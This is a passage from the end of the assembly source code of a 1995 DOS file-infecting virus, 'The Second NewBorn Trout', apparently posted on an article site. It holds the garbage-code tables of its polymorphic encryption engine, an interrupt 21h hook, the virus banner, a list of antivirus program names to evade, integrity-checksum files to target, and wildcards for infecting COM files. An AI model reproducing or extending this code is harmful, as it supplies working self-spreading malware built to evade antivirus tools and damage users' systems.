garb_c30 db 000h,080h,00fh,00bh,0f8h,005h,0ffh
garb_c31 db 000h,080h,014h,00bh,0f0h,005h,0ffh
garb_c32 db 000h,080h,014h,00bh,0e0h,005h,0ffh
garb_c33 db 000h,080h,014h,00bh,0c8h,005h,0ffh
garb_c34 db 000h,082h,014h,00bh,0c0h,005h,0ffh
garb_c35 db 000h,082h,019h,00bh,0d0h,005h,0ffh
garb_c36 db 000h,082h,014h,00bh,0e8h,005h,0ffh
garb_c37 db 000h,082h,019h,00bh,0d8h,005h,0ffh
garb_c38 db 000h,082h,00fh,00bh,0f8h,005h,0ffh
garb_c39 db 000h,082h,014h,00bh,0f0h,005h,0ffh
garb_c3a db 000h,082h,014h,00bh,0e0h,005h,0ffh
garb_c3b db 000h,082h,014h,00bh,0c8h,005h,0ffh
garb_c3c db 000h,088h,01ah,00bh,0c0h,0ffh
garb_c3d db 000h,000h,01ah,00bh,0c0h,0ffh
garb_c3e db 000h,010h,01ah,00bh,0c0h,0ffh
garb_c3f db 000h,028h,01ah,00bh,0c0h,0ffh
garb_c40 db 000h,018h,01ah,00bh,0c0h,0ffh
garb_c41 db 000h,038h,01ah,00bh,0c0h,0ffh
garb_c42 db 000h,030h,01ah,00bh,0c0h,0ffh
garb_c43 db 000h,020h,01ah,00bh,0c0h,0ffh
garb_c44 db 000h,008h,01ah,00bh,0c0h,0ffh
garb_c45 db 000h,08ah,012h,00bh,0c0h,0ffh
garb_c46 db 000h,002h,012h,00bh,0c0h,0ffh
garb_c47 db 000h,012h,012h,00bh,0c0h,0ffh
garb_c48 db 000h,02ah,012h,00bh,0c0h,0ffh
garb_c49 db 000h,01ah,012h,00bh,0c0h,0ffh
garb_c4a db 000h,03ah,012h,00bh,0c0h,0ffh
garb_c4b db 000h,032h,012h,00bh,0c0h,0ffh
garb_c4c db 000h,022h,012h,00bh,0c0h,0ffh
garb_c4d db 000h,00ah,012h,00bh,0c0h,0ffh
garb_c4e db 000h,086h,01ch,00bh,0c0h,0ffh
garb_c4f db 000h,0feh,014h,00bh,0c0h,0ffh
garb_c50 db 000h,0feh,014h,00bh,0c8h,0ffh
garb_c51 db 000h,0f6h,00fh,00bh,0c0h,005h,0ffh
garb_c52 db 000h,084h,010h,00bh,0c0h,0ffh
garb_c53 db 000h,084h,00fh,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c54 db 000h,084h,013h,003h,0ffh
garb_c55 db 000h,0f6h,014h,00bh,0d0h,0ffh
garb_c56 db 000h,0f6h,014h,00bh,0d8h,0ffh
garb_c57 db 000h,0d0h,019h,00bh,0c8h,0ffh
garb_c58 db 000h,0d0h,019h,00bh,0c0h,0ffh
garb_c59 db 000h,0d0h,019h,00bh,0e8h,0ffh
garb_c5a db 000h,0d0h,019h,00bh,0e0h,0ffh
garb_c5b db 000h,0d0h,019h,00bh,0f8h,0ffh
garb_c5c db 000h,0d0h,019h,00bh,0d0h,0ffh
garb_c5d db 000h,0d0h,019h,00bh,0d8h,0ffh
garb_c5e db 000h,0d2h,019h,00bh,0c8h,0ffh
garb_c5f db 000h,0d2h,019h,00bh,0c0h,0ffh
garb_c60 db 000h,0d2h,019h,00bh,0e8h,0ffh
garb_c61 db 000h,0d2h,019h,00bh,0e0h,0ffh
garb_c62 db 000h,0d2h,019h,00bh,0f8h,0ffh
garb_c63 db 000h,0d2h,019h,00bh,0d0h,0ffh
garb_c64 db 000h,0d2h,019h,00bh,0d8h,0ffh
garb_c65 db 030h,000h,08ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c66 db 030h,000h,002h,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c67 db 030h,000h,012h,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c68 db 030h,000h,02ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c69 db 030h,000h,01ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6a db 030h,000h,03ah,00fh,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6b db 030h,000h,038h,00fh,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6c db 030h,000h,032h,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6d db 030h,000h,022h,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6e db 030h,000h,00ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6f db 030h,000h,08ah,01dh,003h,0ffh
garb_c70 db 030h,000h,002h,01dh,003h,0ffh
garb_c71 db 030h,000h,012h,01dh,003h,0ffh
garb_c72 db 030h,000h,02ah,01dh,003h,0ffh
garb_c73 db 030h,000h,01ah,01dh,003h,0ffh
garb_c74 db 030h,000h,03ah,013h,003h,0ffh
garb_c75 db 030h,000h,038h,013h,003h,0ffh
garb_c76 db 030h,000h,032h,01dh,003h,0ffh
garb_c77 db 030h,000h,022h,01dh,003h,0ffh
garb_c78 db 030h,000h,00ah,01dh,003h,0ffh
garb_c79 db 024h,00bh,0b8h,005h,005h,0ffh
garb_c7a db 000h,081h,029h,00bh,0c0h,005h,005h,0ffh
garb_c7b db 000h,081h,029h,00bh,0d0h,005h,005h,0ffh
garb_c7c db 000h,081h,029h,00bh,0e8h,005h,005h,0ffh
garb_c7d db 000h,081h,029h,00bh,0d8h,005h,005h,0ffh
garb_c7e db 000h,081h,01fh,00bh,0f8h,005h,005h,0ffh
garb_c7f db 000h,081h,024h,00bh,0f0h,005h,005h,0ffh
garb_c80 db 000h,081h,024h,00bh,0e0h,005h,005h,0ffh
garb_c81 db 000h,081h,024h,00bh,0c8h,005h,005h,0ffh
garb_c82 db 000h,083h,029h,00bh,0c0h,005h,0ffh
garb_c83 db 000h,083h,029h,00bh,0d0h,005h,0ffh
garb_c84 db 000h,083h,029h,00bh,0e8h,005h,0ffh
garb_c9c db 000h,083h,029h,00bh,0d8h,005h,0ffh
garb_c85 db 000h,083h,01fh,00bh,0f8h,005h,0ffh
garb_c86 db 000h,083h,024h,00bh,0f0h,005h,0ffh
garb_c87 db 000h,083h,024h,00bh,0e0h,005h,0ffh
garb_c28 db 000h,083h,024h,00bh,0c8h,005h,0ffh
garb_c88 db 000h,089h,02ah,00bh,0c0h,0ffh
garb_c89 db 000h,001h,02ah,00bh,0c0h,0ffh
garb_c8a db 000h,011h,02ah,00bh,0c0h,0ffh
garb_c8b db 000h,029h,02ah,00bh,0c0h,0ffh
garb_c8c db 000h,019h,02ah,00bh,0c0h,0ffh
garb_c8d db 000h,039h,02ah,00bh,0c0h,0ffh
garb_c8e db 000h,031h,02ah,00bh,0c0h,0ffh
garb_c8f db 000h,021h,02ah,00bh,0c0h,0ffh
garb_c90 db 000h,009h,02ah,00bh,0c0h,0ffh
garb_c91 db 000h,08bh,022h,00bh,0c0h,0ffh
garb_c92 db 000h,003h,022h,00bh,0c0h,0ffh
garb_c93 db 000h,013h,022h,00bh,0c0h,0ffh
garb_c94 db 000h,02bh,022h,00bh,0c0h,0ffh
garb_c95 db 000h,01bh,022h,00bh,0c0h,0ffh
garb_c96 db 000h,03bh,022h,00bh,0c0h,0ffh
garb_c97 db 000h,033h,022h,00bh,0c0h,0ffh
garb_c98 db 000h,023h,022h,00bh,0c0h,0ffh
garb_c99 db 000h,00bh,022h,00bh,0c0h,0ffh
garb_c9a db 000h,087h,02ch,00bh,0c0h,0ffh
garb_c9b db 029h,00bh,040h,0ffh
garb_c26 db 029h,00bh,048h,0ffh
garb_c9d db 000h,0f7h,01fh,00bh,0c0h,005h,005h,0ffh
garb_c9e db 000h,085h,020h,00bh,0c0h,0ffh
garb_c9f db 000h,085h,01fh,00eh,003h,00bh,006h,009h,005h,0ffh
garb_ca0 db 000h,0f7h,024h,00bh,0d0h,0ffh
garb_ca1 db 000h,0f7h,029h,00bh,0d8h,0ffh
garb_ca2 db 000h,0d1h,029h,00bh,0c8h,0ffh
garb_ca3 db 000h,0d1h,029h,00bh,0c0h,0ffh
garb_ca4 db 000h,0d1h,029h,00bh,0e8h,0ffh
garb_ca5 db 000h,0d1h,029h,00bh,0e0h,0ffh
garb_ca6 db 000h,0d1h,029h,00bh,0f8h,0ffh
garb_ca7 db 000h,0d1h,029h,00bh,0d0h,0ffh
garb_ca8 db 000h,0d1h,029h,00bh,0d8h,0ffh
garb_ca9 db 000h,0d3h,029h,00bh,0c8h,0ffh
garb_caa db 000h,0d3h,029h,00bh,0c0h,0ffh
garb_cab db 000h,0d3h,029h,00bh,0e8h,0ffh
garb_cac db 000h,0d3h,029h,00bh,0e0h,0ffh
garb_cad db 000h,0d3h,029h,00bh,0f8h,0ffh
garb_cae db 000h,0d3h,029h,00bh,0d0h,0ffh
garb_caf db 000h,0d3h,029h,00bh,0d8h,0ffh
garb_c25 db 030h,000h,08bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb0 db 030h,000h,003h,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb1 db 030h,000h,013h,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb2 db 030h,000h,02bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb3 db 030h,000h,01bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb4 db 030h,000h,03bh,01fh,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb5 db 030h,000h,039h,01fh,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb6 db 030h,000h,033h,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb7 db 030h,000h,023h,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb8 db 030h,000h,00bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb9 db 000h,08dh,02dh,003h,0ffh
garb_cbc db 000h,08dh,02dh,00bh,040h,005h,0ffh
garb_cbd db 000h,08dh,02dh,00bh,080h,005h,005h,0ffh
garb_cbe db 032h,0ffh,02fh,000h,0ffh,001h,004h,0b4h,00bh,0cdh,021h
db 0ffh
garb_cbf db 032h,0ffh,02eh,004h,0ffh,001h,004h,0b4h,00dh,0cdh,021h
db 0ffh
garb_cc0 db 032h,0ffh,02fh,000h,0ffh,001h,004h,0b4h,019h,0cdh,021h
db 0ffh
garb_cc1 db 032h,0ffh,02fh,000h,0ffh,02fh,001h,0ffh,02fh,002h,0ffh
db 001h,004h,0b4h,02ah,0cdh,021h,0ffh
garb_cc2 db 032h,0ffh,02eh,004h,0ffh,02fh,001h,0ffh,02fh,002h,0ffh
db 001h,004h,0b4h,02ch,0cdh,021h,0ffh
garb_cc3 db 032h,0ffh,02fh,000h,0ffh,02fh,003h,0ffh,02fh,001h,0ffh
db 001h,004h,0b4h,030h,0cdh,021h,0ffh
garb_cc4 db 032h,0ffh,02fh,000h,0ffh,02eh,002h,0ffh,001h,005h,0b8h
db 000h,033h,0cdh,021h,0ffh
garb_cc5 db 032h,0ffh,02fh,000h,0ffh,001h,004h,0b4h,054h,0cdh,021h
db 0ffh
garb_cc6 db 032h,0ffh,02fh,000h,0ffh,02fh,001h,0ffh,02fh,002h,0ffh
db 001h,004h,0b4h,003h,0cdh,010h,0ffh
garb_cc7 db 032h,0ffh,02fh,000h,0ffh,02eh,007h,0ffh,001h,004h,0b4h
db 00fh,0cdh,010h,0ffh
garb_cc8 db 032h,0ffh,02eh,004h,0ffh,02eh,002h,0ffh,001h,004h,0b4h
db 000h,0cdh,013h,0ffh
garb_cc9 db 032h,0ffh,02eh,004h,0ffh,02eh,002h,0ffh,001h,004h,0b4h
db 001h,0cdh,013h,0ffh

; Registers at TT-PEB call (saved poly parameters)
tt_saved_sp dw 0
tt_saved_ss dw 0
tt_saved_dx dw 0
tt_saved_ds dw 0
tt_saved_cx dw 0
tt_saved_bp dw 0
tt_saved_si dw 0
tt_saved_ax dw 0

pntr_reg db 0FFh ; Register used as pointer (FF = not set yet)
pntr_pos dw 000h ; Position in memory where pointer assignment
; is done
cntr_reg db 0FFh ; Register used as counter (FF = not set yet)
oper_reg db 0FFh ; Register used for opers (FF = not set yet)

db 0

dec_loop_start dw 000h ; Pointer at beginning of the decryption loop
pntr_chdone db 0 ; FFh if code to update the pointer in the
; decr loop hasn't been already generated.
; 00h pointer update already done
cntr_chdone db 0 ; FFh if code to update the counter in the
; decr loop hasn't been already generated.
; 00h counter update already done
encr_pnt dw 000h ; Pointer at beginning of encrypted code after
; decryptor
mate_pos dw 000h ; Position on the math operation
math_oc db 00h ; Opcode of the decryptor (the inverse of
; the encryptor)
mathpos dw 000h ; Position of the math operation (again)
spec_cnst db 0FFh ; FFh can create, 00h can't create
some_lock db 0FFh ; FFh can create, 00h can't create
decr_init db 0FFh ; 00h building main decrypt. loop, FFh not yet
; this three varialbes are used to limit in
; some circumstances the generation of some
; kind of code (for example a call in another
; call construct and soo on)

db 'STACK STACK STACK STACK STACK STACK '
db 'STACK STACK STACK STACK STACK STACK '
db 'STACK STACK STACK STACK STACK STACK '
db 'STACK STACK STACK STACK STACK STACK '
db 'STACK STACK STACK STACK STACK STACK '
db 'STACK STACK STACK STACK '

tt_stack:
; TT-PEB stack grows (backwards :) ) from here

int21h_jump db 0e9h ; jmp to int21h handler
dw offset int21h_handler - 103h ; in memory (so the -)
db '2T' ; 2Trout marker

virus_message:
db 'This is "The Second NewBorn Trout" virus',0dh,0ah
db 'Programmed in the city of Milan, North Italy',0dh,0ah
db '[C] The Tricky Trout 1995', 0dh, 0ah
db 'Mutation Engine: TT-PEB '
db '(Tricky Trout Plurimorphic Encryptor Builder) '
db 'version 2.01 (TPE standard)',0dh,0ah

orig_bytes db 0cdh,020h,090h,090h,090h
com_suffix db 'COM',0,0

os_files db 'IBMBIO.','IBMDOS.','COMMAND.', 0
av_names db 'SCAN.','NETSCAN.','CLEAN.','VSHIELD.'
db 'F-PROT.','VSAFE.','MSAV.','CPAV.'
db 'NAV.','TBAV.','TBSCAN.','VDS.','NOVI.'
db 'AVP.','-V.','-VPRO.','VIREX.','AVSCAN.'
db 'VI-SPY.','GUARD.','FINDVIRU.','TNT.','TNTAV.'
db 'HTSCAN.','NEMESIS.','NOD.','ITAV.','VI.'
db 'VIRIT.','IM.','WIN.','TD.','DEBUG.', 0

crc_files db 'CHKLIST.MS', 0
db 'CHKLIST.CPS', 0
db 'ANTI-VIR.DAT', 0
db '\SCANCRC.CRC', 0
db '\_CHK.CHK', 0
db '\NAV_._NO',0
crc_files_end db 0

fastfile1 db 'C:*.COM', 0 ; fastinfection wildcards
fastfile2 db 'C:\DOS\KEYB.COM', 0 ; for the installation on
fastfile3 db 'C:\DOS\*.COM', 0 ; the new system :)
fastfile4 db '*.COM', 0

poly_in_mem db 0 ; 00h means it is run normally from file
; 01h means the virus is executed from a poly
; generation in memory (when an AV is going
; to be run). the 01h is at the same time
; used as the value where the seg:off of
; the jump to int21h is, this is at
; virussegment:1)
poly_segmem dw 0000h ; segment of the virus in memory at
; disactivation when an AV started

encvir_dx dw 0 ; seg:off of the encrypted
encvir_ds dw 0 ; virus in memory
orig_int21h dw 0000h, 0000h ; seg:off of original int 21h

int24_off dw 0000h
int24_seg dw 0000h

fast_cntr db 0 ; infected files during fast
; infection
good_inf db 0 ; 01h last fast infection was
; succesfull, 00h it wasn't
finf_name dw 0000h, 0000h ; DS:DX on filename that is
; going to be infected
orig_att dw 00h ; original file attributes

f_time db 000h
; -> Virus end on disk ! <-

tsnbt_fend:
db 00h
f_date dw 00h ; original file date
f_length dw 00h ; original file length
mem_buff db 1eh dup (?)
buff_1 db 12h dup (?)
buff_2 db 3336h dup (?)
mem_end:

seg_a ends

end tsnbt_start

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT